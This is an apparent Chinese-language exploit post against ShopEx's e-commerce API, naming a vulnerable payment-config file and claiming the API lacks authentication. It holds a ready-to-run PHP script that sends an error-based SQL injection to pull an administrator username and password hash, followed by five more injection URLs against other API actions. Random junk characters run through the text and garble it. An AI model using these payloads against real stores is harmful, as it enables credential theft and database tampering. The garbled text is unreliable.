|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
* T8 }0 ?8 h# ^8 Q9 score\api\payment\1.0\api_b2b_2_0_payment_cfg.php; t9 R* _7 v0 }7 Q: {& t
; `- A1 E1 f5 J9 R5 @. I, m第44行 $data['columns'] 未做过滤导致注入
0 ~8 g3 ?# q; d7 P5 M6 O. H; ]! M- |; G+ ?: n, s
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.' j* x, e5 b- i1 l m
0 i8 q" L) R$ T; L注射1:# L0 t) [$ g0 r+ x% r
8 G+ b# p! U5 {. \
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#7 r' V, x# Y# y- _! }
' l+ M* _+ Y1 g) ~注射2:2 o5 o* p) o: w( {0 j+ d/ O) e
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}: s- u$ e( R' c0 }' x' L/ O* {
& y+ q* g2 k; o- ^$ G注射3:
" U8 i8 z4 a2 p5 A http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx/ b* ^2 z* T8 B: Y8 f& R _9 F- t7 b
注射4:
% E6 e# X: W3 D. X$ Z2 J5 `- T6 Y0 R ~
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1, R& g# F" a: s
# n/ U! c. {5 G, o. D ~( m
0 K( G0 h% N* R+ n9 @' l; W/ d注射5:& p: h: ]" b/ _( X6 d3 ~ |
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx/ D' i; H1 t2 l# E) {' u0 R+ L7 Q
' F7 N- [- n$ q4 l8 N+ T
' w8 b) a# _/ W) \- K/ j: h) C5 I/ [6 z+ g& @! y
! Q/ {8 V; r |& q$ w) c# c2 Z1 c6 R+ n2 j# D+ o- n
: f; W3 v2 N; e# h6 f6 _. k
|
|